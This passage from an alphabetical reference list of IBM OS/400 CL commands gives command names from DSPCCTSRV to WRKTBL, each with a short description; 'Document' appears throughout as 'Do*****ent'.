DSPCCTSRV Display Circuit Service
DSPCDEFNT Display Coded Font
DSPCFGL Display Configuration List
DSPCLS Display Class
DSPCMD Display Command
DSPCNNL Display Connection List
DSPCNNSTS Display Connection Status
DSPCOSD Display Class-of-Service Desc
DSPCPCST Display CHKPND Constraint
DSPCSI Display Comm Side Information
DSPCTLD Display Controller Description
DSPCURDIR Display Current Directory
DSPDBG Display Debug
DSPDBGWCH Display Debug Watch
DSPDBR Display Data Base Relations
DSPDDMF Display DDM File
DSPDEVD Display Device Description
DSPDIRE Display Directory Entries
DSPDKT Display Diskette
DSPDLOAUD Display DLO Auditing Level
DSPDLOAUT Display DLO Authority
DSPDLONAM Display DLO Name
DSPDOC Display Do*****ent
DSPDSTL Display Distribution List
DSPDSTLOG Display Distribution Log
DSPDSTSRV Display Distribution Services
DSPDTA Display Data
DSPDTAARA Display Data Area
DSPDTADCT Display Data Dictionary
DSPEDTD Display Edit Description
DSPEWCBCDE Display EWC Barcode Entry
DSPEWCM Display Wireless Ctl Member
DSPEWCPTCE Display EWC PTC Entry
DSPEWLM Display Wireless Line Member
DSPEXPSCD Display Expiration Schedule
DSPFD Display File Description
DSPFFD Display File Field Description
DSPFLR Display Folder
DSPFNTRSCA Display Font Resource Attr
DSPFNTTBL Display Font Table
DSPHDWRSC Display Hardware Resources
DSPHFS Display Hierarchical File Sys.
DSPHLPDOC Display Help Do*****ent
DSPHSTGPH Display Historical Graph
DSPHSTJS Display History using JS
DSPIPLA Display IPL Attributes
DSPIPXCCT Display IPX Circuit
DSPIPXD Display IPX Description
DSPJOB Display Job
DSPJOBD Display Job Description
DSPJOBJS Display Job using JS
DSPJOBLOG Display Job Log
DSPJOBTBL Display Job Tables
DSPJRN Display Journal
DSPJRNRCVA Display Journal Receiver Atr
DSPKBDMAP Display Keyboard Map
DSPLANADPP Display LAN Adapter Profile
DSPLANMLB Display LAN Media Library
DSPLANSTS Display LAN Status
DSPLIB Display Library
DSPLIBD Display Library Description
DSPLIBL Display Library List
DSPLICKEY Display License Key Info
DSPLIND Display Line Description
DSPLNK Display Object Links
DSPLOG Display Log
DSPM36 Display Machine
DSPM36CFG Display Machine Configuration
DSPMFSINF Display Mounted FS Information
DSPMNUA Display Menu Attributes
DSPMOD Display Module
DSPMODD Display Mode Description
DSPMODSRC Display Module Source
DSPMODSTS Display Mode Status
DSPMSG Display Messages
DSPMSGD Display Message Description
DSPNCK Display Nickname
DSPNETA Display Network Attributes
DSPNODGRP Display Node Group
DSPNTBD Display NetBIOS Description
DSPNWID Display Network Interface Desc
DSPNWSA Display NWS Attributes
DSPNWSALS Display Network Server Alias
DSPNWSD Display Network Server Desc
DSPNWSSSN Display Network Server Session
DSPNWSSTC Display NWS Statistics
DSPNWSSTG Display NWS Storage Space
DSPNWSUSR Display Network Server Users
DSPNWSUSRA Display NWS User Attributes
DSPOBJAUT Display Object Authority
DSPOBJD Display Object Description
DSPOPCLNK Display OptiConnect Link Sts
DSPOPT Display Optical
DSPOPTLCK Display Optical Locks
DSPOPTSVR Display Optical Server
DSPOVR Display Override
DSPPDGPRF Display PDG Profile
DSPPFM Display Physical File Member
DSPPFRDTA Display Performance Data
DSPPFRGPH Display Performance Graph
DSPPGM Display Program
DSPPGMADP Display Program Adopt
DSPPGMREF Display Program References
DSPPGMVAR Display Program Variable
DSPPRB Display Problems
DSPPSFCFG Display PSF Configuration
DSPPTF Display Program Temporary Fix
DSPPWRSCD Display Power On/Off Schedule
DSPRCDLCK Display Record Locks
DSPRCYAP Dsp Recovery for Access Paths
DSPRDBDIRE Display RDB Directory Entries
DSPRJECFG Display RJE Configuration
DSPRMTDFN Display Remote Definition
DSPS36 Display S/36 Configuration
DSPSAVF Display Save File
DSPSBSD Display Subsystem Description
DSPSECA Display Security Attributes
DSPSECAUD Display Security Auditing
DSPSFWRSC Display Software Resources
DSPSOCSTS Display Sphere of Control Sts
DSPSPLF Display Spooled File
DSPSRVA Display Service Attributes
DSPSRVPGM Display Service Program
DSPSRVSTS Display Service Status
DSPSYSSTS Display System Status
DSPSYSVAL Display System Value
DSPTAP Display Tape
DSPTAPCGY Display Tape Category
DSPTAPCTG Display Tape Cartridge
DSPTAPSTS Display Tape Status
DSPTM Display Trademarks
DSPTRC Display Trace
DSPTRCDTA Display Trace Data
DSPUDFS Display User-Defined FS
DSPUPGPRP Display Upgrade Preparation
DSPUSRPMN Display User Permission
DSPUSRPRF Display User Profile
DSPUSRPRTI Display User Print Info
DSPVT1MAP Display VT100 keyboard map
DSPVTMAP Display VT Keyboard Map
DSPWSUSR Display Work Station User
DUPDKT Duplicate Diskette
DUPOPT Duplicate Optical
DUPTAP Duplicate Tape
EDTAUTL Edit Authorization List
EDTBCKUPL Edit Backup List
EDTCPCST Edit CHKPND Constraints
EDTDLOAUT Edit DLO Authority
EDTDOC Edit Do*****ent
EDTLIBL Edit Library List
EDTOBJAUT Edit Object Authority
EDTQST Edit Questions and Answers
EDTRBDAP Edit Rebuild of Access Paths
EDTRCYAP Edit Recovery for Access Path
EDTS36PGMA Edit S/36 Program Attributes
EDTS36PRCA Edit S/36 Procedure Attribute
EDTS36SRCA Edit S/36 Source Attributes
EDTWSOAUT Edit Workstation Object Aut
EJTEMLOUT Eject Emulation Output
ELEM Element Definition
ELSE Else
EMLPRTKEY Emulate Printer Keys
ENDBCHJOB End Batch Job
ENDCBLDBG End COBOL Debug
ENDCLNUP End Cleanup
ENDCMNSVR End Communications Server
ENDCMNTRC End Communications Trace
ENDCMTCTL End Commitment Control
ENDCPYSCN End Copy Screen
ENDCTLRCY End Controller Recovery
ENDDBG End Debug Mode
ENDDBGSVR End Debug Server
ENDDBMON End Database Monitor
ENDDEVRCY End Device Recovery
ENDDIRSHD End Directory Shadowing
ENDDO End Do Group
ENDEPMENV End EPM Environments
ENDGRPJOB End Group Job
ENDHOSTSVR End Host Server
ENDINP End Input
ENDIPIIFC End IP over IPX Interface
ENDIPSIFC End IP over SNA Interface
ENDIPX End IPX
ENDIPXCCT End IPX Circuit
ENDISDB End ISDB
ENDJOB End Job
ENDJOBABN End Job Abnormal
ENDJOBTRC End Job Trace
ENDJRNAP End Journal Access Path
ENDJRNPF End Journaling PF Changes
ENDJS End Job Scheduler
ENDLINRCY End Line Recovery
ENDM36 End Machine
ENDMOD End Mode
ENDMSF End Mail Server Framework
ENDNFSSVR End NFS Server
ENDNWIRCY End Network Interface Recovery
ENDNWSAPP End Network Server Application
ENDPASTHR End Pass-Through
ENDPEX End Performance Explorer
ENDPFRCOL End Performance Collection
ENDPFRMON End Performance Monitor
ENDPGM End Program
ENDPGMEXP End Program Export List
ENDPJ End Prestarted Jobs
ENDPRTEML End Printer Emulation
ENDRCV End Receive
ENDRDBRQS End relational database request
ENDRDR End Reader
ENDRJESSN End RJE Session
ENDRMTSPT End Remote Support
ENDRQS End Request
ENDS36 End S/36 Session
ENDSBS End Subsystem
ENDSRVJOB End Service Job
ENDSYS End System
ENDTCP End TCP/IP
ENDTCPCNN End TCP/IP Connection
ENDTCPIFC End TCP/IP Interface
ENDTCPLNK End TCP/IP Link
ENDTCPPTP End Point-to-Point TCP/IP
ENDTCPSVR End TCP/IP Server
ENDTIESSN End TIE Session
ENDTRPMGR End Trap Manager
ENDWTR End Writer
EOF End of File
ERASE Remove Link
EXPORT Export a Program Symbol
EXPORTFS Change NFS Export
EXTPGMINF Extract Program Information
FILDOC File Do*****ent
FMTDTA Format Data
FNDSTRPART Find String in Parts with PDM
FNDSTRPDM Find String Using PDM
FTP Start TCP/IP File Transfer
GENCAT Generate Message Catalog
GENS36RPT Generate S/36 Report
GENS38RPT Generate S/38 Report
GO Go to Menu
GOTO Go To
GRTACCAUT Grant Access Code Authority
GRTOBJAUT Grant Object Authority
GRTUSRAUT Grant User Authority
GRTUSRPMN Grant User Permission
GRTWSOAUT Grant Workstation Object Aut
HLDCMNDEV Hold Communications Device
HLDDSTQ Hold Distribution Queue
HLDJOB Hold Job
HLDJOBQ Hold Job Queue
HLDJOBSCDE Hold Job Schedule Entry
HLDOUTQ Hold Output Queue
HLDRDR Hold Reader
HLDSPLF Hold Spooled File
HLDWTR Hold Writer
IF If
INSNWSAPP Install Network Server App
INSPTF Install Program Temporary Fix
INZDKT Initialize Diskette
INZDSTQ Initialize Distribution Queue
INZOPT Initialize Optical
INZPCS Initialize Client Access/400
INZPFM Initialize Physical File Mbr
INZSYS Initialize System
INZTAP Initialize Tape
IPXPING Verify IPX Connection
LNKDTADFN Link/Unlink Data Definition
LODPTF Load Program Temporary Fix
LODQSTDB Load Q/A Database
LODRUN Load and Run
LPR Send TCP/IP Spooled File
MD Create Directory
MDLSYS Model System
MGRS36 Complete System/36 Migration
MGRS36APF System/36 APF Migration
MGRS36CBL System/36 Cobol Migration
MGRS36DFU System/36 DFU Migration
MGRS36DSPF System/36 Display File Migrate
MGRS36ITM Migrate S/36 item
MGRS36LIB System/36 Library Migration
MGRS36MNU System/36 Menu Migration
MGRS36MSGF System/36 Message File Migrate
MGRS36QRY System/36 Query Migration
MGRS36RPG System/36 RPG II Migration
MGRS36SEC System/36 User ID Migration
MGRS38OBJ Migrate S/38 object
MIGRATE Migration Menu
MKDIR Create Directory
MONMSG Monitor Message
MOUNT Add Mounted FS
MOV Move Object
MOVDOC Move Do*****ent
MOVE Move Object
MOVOBJ Move Object
MRGFMRSPL Merge spool file with a form
MRGFORMD Merge Form Description
MRGMSGCLG Merge Message Catalog
MRGMSGF Merge Message File
MRGSRC Merge Source
MRGTCPHT Merge TCP/IP Host Table
NETSTAT Work with TCP/IP Network Sts
OPNDBF Open Data Base File
OPNQRYF Open Query File
OVRDBF Override with Data Base File
OVRDKTF Override with Diskette File
OVRDSPF Override with Display File
OVRICFDEVE Override ICF Pgm Device Entry
OVRICFF Override ICF File
OVRMSGF Override Message File
OVRPRTF Override with Printer File
OVRSAVF Override with Save File
OVRTAPF Override with Tape File
PARM Parameter Definition
PGM Program
PING Verify TCP/IP Connection
PMTCTL Prompt Control Definition
POSDBF Position Data Base File
PRTACTRPT Print Activity Report
PRTADPOBJ Print Adopting Objects
PRTAFPDTA Print AFP Data
PRTCMDUSG Print Command Usage
PRTCMNSEC Print Communications Security
PRTCMNTRC Print Communications Trace
PRTCPTRPT Print Component Report
PRTDEVADR Print Device Addresses
PRTDOC Print Do*****ent
PRTDSKINF Print Disk Information
PRTERRLOG Print Error Log
PRTINTDTA Print Internal Data
PRTIPSCFG Print IP over SNA
PRTJOBDAUT Print JOBD Authority
PRTJOBRPT Print Job Interval Report
PRTJOBTRC Print Job Trace
PRTLCKRPT Print Lock Report
PRTPEXRPT Print PEX Report
PRTPOLRPT Print Pool Report
PRTPUBAUT Print Publicly Auth Objects
PRTPVTAUT Print Private Authorities
PRTQAUT Print Queue Authority
PRTRSCRPT Print Resource Report
PRTSBSDAUT Print Subsystem Description
PRTSCDJS Print Schedule using JS
PRTSQLINF Print SQL Information
PRTSWL Print Stop Word List
PRTSYSINF Print System Information
PRTSYSRPT Print System Report
PRTSYSSECA Print System Security Attr
PRTTNSRPT Print Transaction Report
PRTTRCRPT Print Job Trace Report
PRTTRGPGM Print Trigger Programs
PRTUSROBJ Print User Objects
PRTUSRPRF Print User Profile
PWRDWNSYS Power Down System
QMUS36 System/36 Command Selection
QPZA000844 Send Distribution
QRYDOCLIB Query Do*****ent Library
QRYDST Query Distributions
QRYPRBSTS Query Problem Status
QRYTIEF Query TIE Files
QUAL Qualifier Definition
RCLACTGRP Reclaim Activation Group
RCLDDMCNV Reclaim DDM Conversations
RCLDLO Reclaim Do*****ent Lib Object
RCLLIB Reclaim Library
RCLOPT Reclaim Optical
RCLRSC Reclaim Resources
RCLSPLSTG Reclaim Spool Storage
RCLSTG Reclaim Storage
RCLTMPSTG Reclaim Temporary Storage
RCVDST Receive Distribution
RCVF Receive File
RCVJRNE Receive Journal Entry
RCVMGRDTA Receive Migration Data
RCVMSG Receive Message
RCVNETF Receive Network File
RCVTIEF Receive TIE File
RD Remove Directory
READFILE Read a File
REN Rename Object
RESMGRNAM no discription
RETURN Return
RGZDLO Reorganize Do*****ent Lib Object
RGZPFM Reorganize Physical File Mbr
RLSCMNDEV Release Communications Device
RLSDSTQ Release Distribution Queue
RLSIFSLCK Release File System Locks
RLSJOB Release Job
RLSJOBQ Release Job Queue
RLSJOBSCDE Release Job Schedule Entry
RLSOUTQ Release Output Queue
RLSRDR Release Reader
RLSRMTPHS Release Remote Phase
RLSSPLF Release Spooled File
RLSWTR Release Writer
RMDIR Remove Directory
RMVACC Remove Access Code
RMVAJE Remove Autostart Job Entry
RMVALRD Remove Alert Description
RMVAUTLE Remove Auth List Entry
RMVBKP Remove Breakpoint
RMVBNDDIRE Remove Binding Directory Entry
RMVCCTRTE Remove Circuit Route
RMVCCTSRV Remove Circuit Service
RMVCFGLE Remove Cfg List Entries
RMVCMNE Remove Communications Entry
RMVCNNLE Remove Connection List Entry
RMVCOMSNMP Remove Community for SNMP
RMVDIR Remove Directory
RMVDIRE Remove Directory Entry
RMVDIRSHD Remove Directory Shadow System
RMVDLOAUT Remove DLO Authority
RMVDSTLE Remove Distribution List Entry
RMVDSTQ Remove Distribution Queue
RMVDSTRTE Remove Distribution Route
RMVDSTSYSN Remove Secondary System Name
RMVEMLCFGE Remove Configuration Entry
RMVEWCBCDE Remove EWC Barcode Entry
RMVEWCPTCE Remove EWC PTC Entry
RMVEXITPGM Remove Exit Program
RMVFCTE Remove Forms Control Entry
RMVFTRACNE Remove Filter Action Entry
RMVFTRSLTE Remove Filter Selection Entry
RMVICFDEVE Remove ICF Device Entry
RMVIPIADR Remove IP over IPX Address
RMVIPIIFC Remove IP over IPX Interface
RMVIPIRTE Remove IP over IPX Route
RMVIPSIFC Remove IP over SNA Interface
RMVIPSLOC Remove IP over SNA Location
RMVIPSRTE Remove IP over SNA Route
RMVIPXCCT Remove IPX Circuit
RMVJOBQE Remove Job Queue Entry
RMVJOBSCDE Remove Job Schedule Entry
RMVJRNCHG Remove Journaled Changes
RMVLANADPI Remove LAN Adapter Information
RMVLANADPT Remove LAN Adapter
RMVLIBLE Remove Library List Entry
RMVLICKEY Remove License Key Information
RMVLNK Remove Link
RMVM Remove Member
RMVMFS Remove Mounted FS
RMVMSG Remove Message
RMVMSGD Remove Message Description
RMVNCK Remove Nickname
RMVNETJOBE Remove Network Job Entry
RMVNETTBLE Remove Network Table Entry
RMVNODLE Remove Node List Entry
RMVNWSSTGL Remove Server Storage Link
RMVOPTCTG Remove Optical Cartridge
RMVOPTSVR Remove Optical Server
RMVPCLTBLE Remove Protocol Table Entry
RMVPEXDFN Remove PEX Definition
RMVPFCST Remove PF Constraint
RMVPFTRG Remove Physical File Trigger
RMVPGM Remove Program
RMVPJE Remove Prestart Job Entry
RMVPTF Remove Program Temporary Fix
RMVRDBDIRE Remove RDB Directory Entry
RMVREXBUF Remove REXX Buffer
RMVRJECMNE Remove RJE Communication Entry
RMVRJERDRE Remove RJE Reader Entry
RMVRJEWTRE Remove RJE Writer Entry
RMVRMTDFN Remove Remote Definition
RMVRPYLE Remove Reply List Entry
RMVRTGE Remove Routing Entry
RMVSCHIDXE Remove Search Index Entry
RMVSNILOC Remove SNA over IPX Location
RMVSOCE Remove Sphere of Control Entry
RMVSRVTBLE Remove Service Table Entry
RMVTAPCTG Remove Tape Cartridge
RMVTCPHTE Remove TCP/IP Host Table Entry
RMVTCPIFC Remove TCP/IP Interface
RMVTCPLNK Remove TCP/IP Link
RMVTCPPORT Remove TCP/IP Port Restriction
RMVTCPRSI Remove TCP/IP Remote System
RMVTCPRTE Remove TCP/IP Route
RMVTRC Remove Trace
RMVWSE Remove Work Station Entry
RNM Rename Object
RNMCNNLE Rename Connection List Entry
RNMDIRE Rename Directory Entry
RNMDKT Rename Diskette
RNMDLO Rename Do*****ent Library Object
RNMDSTL Rename Distribution List
RNMLANADPI Rename LAN Adapter
RNMM Rename Member
RNMNCK Rename Nickname
RNMOBJ Rename Object
RNMTCPHTE Rename TCP/IP Host Table Entry
ROLLBACK Rollback
RPLDOC Replace Do*****ent
RQSORDAST Request Order Assistance
RRTJOB Reroute Job
RSMBKP Resume Breakpoint
RSMCTLRCY Resume Controller Recovery
RSMDEVRCY Resume Device Recovery
RSMLINRCY Resume Line Recovery
RSMNWIRCY Resume NWI Recovery
RST Restore Object
RSTAUT Restore Authority
RSTCFG Restore Configuration
RSTDLO Restore Do*****ent Lib Object
RSTLIB Restore Library
RSTLICPGM Restore Licensed Program
RSTOBJ Restore Object
RSTS36F Restore S/36 File
RSTS36FLR Restore S/36 Folder
RSTS36LIBM Restore S/36 Library Members
RSTS38AUT Restore S/38 Authorities
RSTSHF Restore Bookshelf
RSTUSRPRF Restore User Profiles
RTVAUTLE Retrieve Auth List Entry
RTVBCKUP Retrieve Backup Options
RTVBNDSRC Retrieve Binder Source
RTVCFGSRC Retrieve Configuration Source
RTVCFGSTS Retrieve Configuration Status
RTVCLDSRC Retrieve C Locale Description
RTVCLNUP Retrieve Cleanup
RTVCLSRC Retrieve CL Source
RTVCURDIR Retrieve Current Directory
RTVDLOAUT Retrieve DLO Authority
RTVDLONAM Retrieve DLO Name
RTVDOC Retrieve Do*****ent
RTVDSKINF Retrieve Disk Information
RTVDTAARA Retrieve Data Area
RTVGRPA Retrieve Group Attributes
RTVJOBA Retrieve Job Attributes
RTVJRNE Retrieve Journal Entry
RTVLIBD Retrieve Library Description
RTVMBRD Retrieve Member Description
RTVMSG Retrieve Message
RTVNETA Retrieve Network Attributes
RTVOBJD Retrieve Object Description
RTVPDGPRF Retrieve PDG Profile
RTVPWRSCDE Retrieve Power Schedule Entry
RTVQMFORM Retrieve Query Management Form
RTVQMQRY Retrieve Query Mgmt Query
RTVS36A Retrieve S/36 Environment Attr
RTVSWLSRC Retrieve Stop Word List Source
RTVSYSINF Retrieve System Information
RTVSYSVAL Retrieve System Value
RTVUSRPRF Retrieve User Profile
RTVUSRPRTI Retrieve User Print Info
RTVWSCST Retrieve WSCST source
RUNBCKUP Run Backup
RUNLPDA Run LPDA-2
RUNQRY Run Query
RUNRMTCMD Run Remote Command
RUNSQLSTM Run SQL Statements
RVKACCAUT Revoke Access Code Authority
RVKOBJAUT Revoke Object Authority
RVKPUBAUT Revoke Public Authority
RVKUSRPMN Revoke User Permission
RVKWSOAUT Revoke Workstation Object Aut
SAV Save Object
SAVAPARDTA Save APAR Data
SAVCFG Save Configuration
SAVCHGOBJ Save Changed Objects
SAVDLO Save Do*****ent Library Object
SAVEBRKMSG Send Break Message
SAVLIB Save Library
SAVLICPGM Save Licensed Program
SAVOBJ Save Object
SAVRST Save Restore
SAVRSTCHG Save Restore Changed Objects
SAVRSTDLO Save Restore Doc/Lib Object
SAVRSTLIB Save Restore Library
SAVRSTOBJ Save Restore Object
SAVS36F Save S/36 File
SAVS36LIBM Save S/36 Library Members
SAVSAVFDTA Save Save File Data
SAVSECDTA Save Security Data
SAVSHF Save Bookshelf
SAVSTG Save Storage
SAVSYS Save System
SBMCODEJOB Submit CODE Batch Job
SBMDBJOB Submit Data Base Jobs
SBMDKTJOB Submit Diskette Jobs
SBMFNCJOB Submit Finance Job
SBMJOB Submit Job
SBMNETJOB Submit Network Job
SBMNWSCMD Submit Network Server Command
SBMRJEJOB Submit RJE Job
SBMRMTCMD Submit Remote Command
SETATNPGM Set Attention Program
SETCSTDTA Set Customization Data
SETKBDMAP Set Keyboard Map
SETOBJACC Set Object Access
SETPGMINF Set Program Information
SETTAPCGY Set Tape Category
SETUPGENV Set Upgrade Environment
SETVT1MAP Set VT100 keyboard map
SETVTMAP Set VT Keyboard Map
SETVTTBL Set VT Mapping Tables
SIGNOFF Sign Off
SLTCMD Select Command
SNDDST Send Distribution
SNDDSTQ Send Distribution Queue
SNDF Send File
SNDFNCIMG Send Finance Diskette Image
SNDJRNE Send Journal Entry
SNDMGRDTA Send Migration Data
SNDMSG Send Message
SNDNETF Send Network File
SNDNETMSG Send Network Message
SNDNETSPLF Send Network Spooled File
SNDNWSMSG Send Network Server Message
SNDPGMMSG Send Program Message
SNDPTFORD Send PTF Order
SNDRCVF Send/Receive File
SNDRJECMD Send RJE Command
SNDRPY Send Reply
SNDSRVRQS Send Service Request
SNDTCPSPLF Send TCP/IP Spooled File
SNDTIEF Send TIE File
SNDUSRMSG Send User Message
STATFS Display Mounted FS Information
STRAPF Advanced Printer Function
STRBEST Start BEST/1
STRCBLDBG Start COBOL Debug
STRCLNUP Start Cleanup
STRCMNSVR Start Communications Server
STRCMNTRC Start Communications Trace
STRCMTCTL Start Commitment Control
STRCODE Start CODE
STRCPYSCN Start Copy Screen
STRDBG Start Debug
STRDBGSVR Start Debug Server
STRDBMON Start Database Monitor
STRDBRDR Start Data Base Reader
STRDFU Start DFU
STRDIRSHD Start Directory Shadowing
STRDKTRDR Start Diskette Reader
STRDKTWTR Start Diskette Writer
STREDU Start Education
STREML3270 Start 3270 Display Emulation
STREPMENV Start EPM Environment
STRHOSTSVR Start Host Server
STRIDD Start IDDU
STRINFSKR Start InfoSeeker
STRIPIIFC Start IP over IPX Interface
STRIPSIFC Start IP over SNA Interface
STRIPX Start IPX
STRIPXCCT Start IPX Circuit
STRISDB Start ISDB
STRITF Start ITF
STRJOBTRC Start Job Trace
STRJRNAP Start Journal Access Path
STRJRNPF Start Journal Physical File
STRMOD Start Mode
STRMSF Start Mail Server Framework
STRNFSSVR Start NFS Server
STRNWSAPP Start Network Server App
STROBJCVN Start Object Conversion
STRPASTHR Start Pass-Through
STRPCCMD Start PC Command
STRPCO Start PC Organizer
STRPDM Start PDM
STRPEX Start Performance Explorer
STRPFRCOL Start Performance Collection
STRPFRG Start Performance Graphics
STRPFRMON Start Performance Monitor
STRPFRT Start Performance Tools
STRPGMEXP Start Program Export List
STRPGMMNU Start Programmer Menu
STRPJ Start Prestarted Jobs
STRPRTEML Start Printer Emulation
STRPRTWTR Start Printer Writer
STRQM Start DB2 Query Manager OS/400
STRQMPRC Start Query Management Proc
STRQMQRY Start Query Management Query
STRQRY Start Query
STRQST Start Question and Answer
STRREXPRC Start REXX Procedure
STRRJECSL Start RJE Console
STRRJERDR Start RJE Reader
STRRJESSN Start RJE Session
STRRJEWTR Start RJE Writer
STRRLU Start Report Layout Utility
STRRMTSPT Start Remote Support
STRRMTWTR Start Remote Writer
STRS36 Start S/36 Session
STRS36MGR Start S/36 Migration
STRS36PRC Start S/36 Procedure
STRS38MGR Start S/38 Migration
STRSBS Start Subsystem
STRSCHIDX Start Search Index
STRSDA Start SDA
STRSEU Start Source Entry Utility
STRSPTN Start Support Network
STRSQL Start SQL Interactive Session
STRSRVJOB Start Service Job
STRSST Start System Service Tools
STRTCP Start TCP/IP
STRTCPFTP Start TCP/IP File Transfer
STRTCPIFC Start TCP/IP Interface
STRTCPLNK Start TCP/IP Link
STRTCPPTP Start Point-to-Point TCP/IP
STRTCPSVR Start TCP/IP Server
STRTCPTELN Start TCP/IP TELNET
STRTIESSN Start TIE Session
STRTRPMGR Start Trap Manager
TELNET Start TCP/IP TELNET
TFRBCHJOB Transfer Batch Job
TFRCTL Transfer Control
TFRGRPJOB Transfer to Group Job
TFRJOB Transfer Job
TFRPASTHR Transfer Pass-Through
TFRSECJOB Transfer Secondary Job
TRCCPIC Trace CPI Communications
TRCICF Trace ICF
TRCINT Trace Internal
TRCJOB Trace Job
TRCREX Trace REXX
UNMOUNT Remove Mounted FS
UPDDTA Update Data with Temp Program
UPDPGM Update Program
UPDSRVPGM Update Service Program
UPDSYSINF Update System Information
VFYAPPCCNN Verify APPC Connection
VFYCMN Verify Communications
VFYIPXCNN Verify IPX Connection
VFYLNKLPDA Verify Link supporting LPDA-2
VFYOPT Verify Optical
VFYPRT Verify Printer
VFYTAP Verify Tape
VFYTCPCNN Verify TCP/IP Connection
VRYCFG Vary Configuration
WAIT Wait
WRKACTJOB Work with Active Jobs
WRKALR Work with Alerts
WRKALRD Work with Alert Descriptions
WRKALRTBL Work with Alert Table
WRKAUT Work with Authority
WRKAUTL Work with Authorization Lists
WRKBNDDIR Work with Binding Directories
WRKBNDDIRE Work with Binding Dir Entries
WRKBPTBL Work with BOOTP table
WRKCCTRTE Work with Circuit Routes
WRKCCTSRV Work with Circuit Services
WRKCFGL Work with Configuration Lists
WRKCFGSTS Work with Configuration Status
WRKCHTFMT Work with Chart Formats
WRKCLS Work with Classes
WRKCMD Work with Commands
WRKCMTDFN Work with Commitment Def
WRKCNNL Work with Connection Lists
WRKCNNLE Work with CNNL Entries
WRKCNTINF Work with Contact Information
WRKCOSD Work with COS Descriptions
WRKCSI Work Comm Side Information
WRKCTLD Work with Ctl Descriptions
WRKDBFIDD Work with DB Files using IDDU
WRKDDMF Work with DDM Files
WRKDEVD Work with Device Descriptions
WRKDEVTBL Work with Device Tables
WRKDIRE Work with Directory Entries
WRKDIRLOC Work with Directory Locations
WRKDIRSHD Work with Dir Shadow Systems
WRKDOC Work with Do*****ents
WRKDOCLIB Work with Do*****ent Libraries
WRKDOCPRTQ Work with Do*****ent Print Queue
WRKDPCQ Work with DSNX/PC Queues
WRKDSKSTS Work with Disk Status
WRKDSTL Work with Distribution Lists
WRKDSTQ Work with Distribution Queue
WRKDTAARA Work with Data Areas
WRKDTADCT Work with Data Dictionaries
WRKDTADFN Work with Data Definitions
WRKDTAQ Work with Data Queues
WRKEDTD Work with Edit Descriptions
WRKENVVAR Work with Environment Var
WRKF Work with Files
WRKFCNARA Work with Functional Areas
WRKFCT Work with Forms Control Table
WRKFLR Work with Folders
WRKFNTRSC Work with Font Resources
WRKFORMDF Work with Form Definitions
WRKFTR Work with Filters
WRKFTRACNE Work with Ftr Action Entry
WRKFTRSLTE Work with Ftr Selection Entry
WRKGRPPDM Work with Groups Using PDM
WRKGSS Work with Graphics Symbol Sets
WRKHDWPRD Work with Hardware Products
WRKHDWRSC Work with Hardware Resources
WRKHLDOPTF Work with Held Optical Files
WRKHTTPCFG Work with HTTP Configuration
WRKIPXCCT Work with IPX Circuits
WRKIPXD Work with IPX Descriptions
WRKIPXSTS Work with IPX Status
WRKJOB Work with Job
WRKJOBD Work with Job Descriptions
WRKJOBQ Work with Job Queue
WRKJOBSCDE Work with Job Schedule Entries
WRKJRN Work with Journal
WRKJRNA Work with Journal Attributes
WRKJRNRCV Work with Journal Receivers
WRKLANADPT Work With LAN Adapters
WRKLIB Work with Libraries
WRKLIBPDM Work with Libraries Using PDM
WRKLICINF Work with License Information
WRKLIND Work with Line Descriptions
WRKLNK Work with Object Links
WRKM36 Work with Machines
WRKM36CFG Work with Machine Config
WRKMBRPDM Work with Members Using PDM
WRKMLBSTS Work with Media Library Status
WRKMNU Work with Menus
WRKMOD Work with Module
WRKMODD Work with Mode Descriptions
WRKMSG Work with Messages
WRKMSGD Work with Message Descriptions
WRKMSGF Work with Message Files
WRKMSGQ Work with Message Queues
WRKNAMSMTP Work with Names for SMTP
WRKNCK Work With Nickname
WRKNETF Work with Network Files
WRKNETJOBE Work with Network Job Entries
WRKNETTBLE Work with Network Table Entry
WRKNODL Work with Node List
WRKNODLE Work with Node List Entries
WRKNTBD Work with NetBIOS Descriptions
WRKNWID Work with Network Interfaces
WRKNWSALS Work with NWS Aliases
WRKNWSD Work with Network Servers
WRKNWSENR Work with NWS User Enrollment
WRKNWSSSN Work with NWS Sessions
WRKNWSSTG Work with NWS Storage Spaces
WRKNWSSTS Work with NWS Status
WRKOBJ Work with Objects
WRKOBJLCK Work with Object Locks
WRKOBJOWN Work with Objects by Owner
WRKOBJPDM Work with Objects Using PDM
WRKOBJPGP Work Objects by Primary Group
WRKOPCACT Work with OptiConnect Activity
WRKOPTDIR Work with Optical Directories
WRKOPTF Work with Optical Files
WRKOPTVOL Work with Optical Volumes
WRKORDINF Work with Order Information
WRKORDRQS Work with Order Requests
WRKOUTQ Work with Output Queue
WRKOUTQD Work with OUTQ Description
WRKOVL Work with Overlays
WRKPAGDFN Work with Page Definitions
WRKPAGSEG Work with Page Segments
WRKPARTPDM Work with Parts Using PDM
WRKPCLTBLE Work with Protocol Table Entry
WRKPFCST Work with PF Constraints
WRKPFRCOL Work with Pfr Collection
WRKPGM Work with Programs
WRKPGMTBL Work with Program Tables
WRKPNLGRP Work with Panel Groups
WRKPRB Work with Problem
WRKPRDINF Work with Product Information
WRKPRJPDM Work with Projects Using PDM
WRKPRTSTS Work with Printing Status
WRKPSFCFG Work with PSF Configuration
WRKQMFORM Work with Query Mgmt Forms
WRKQMQRY Work with Query Mgmt Queries
WRKQRY Work With Queries
WRKQST Work with Questions
WRKRDBDIRE Work with RDB Directory Entry
WRKRDR Work with Readers
WRKREGINF Work with Registration Info
WRKRJESSN Work with RJE Session
WRKRMTDFN Work with Remote Definitions
WRKRPYLE Work with Reply List Entries
WRKRTDCFG Work with RouteD Configuration
WRKS36 Work with S/36 Configuration
WRKS36PGMA Work with S/36 Program Attr
WRKS36PRCA Work with S/36 Procedure Attr
WRKS36SRCA Work with S/36 Source Attr
WRKSBMJOB Work with Submitted Jobs
WRKSBS Work with Subsystems
WRKSBSD Work with Subsystem Desc
WRKSBSJOB Work with Subsystem Jobs
WRKSCHIDX Work with Search Indexes
WRKSCHIDXE Work Search Index Entry
WRKSHRPOOL Work with Shared Storage Pools
WRKSOC Work with Sphere of Control
WRKSPADCT Work with Spelling Aid Dict
WRKSPLF Work with Spooled Files
WRKSPLFA Work with Spooled File Attr
WRKSRVPGM Work with Service Program
WRKSRVPVD Work with Service Providers
WRKSRVTBLE Work with Service Table Entry
WRKSSND Work with Session Description
WRKSYSACT Work with System Activity
WRKSYSSTS Work with System Status
WRKSYSVAL Work with System Value
WRKTAPCTG Work with Tape Cartridge
WRKTBL Work with Tables
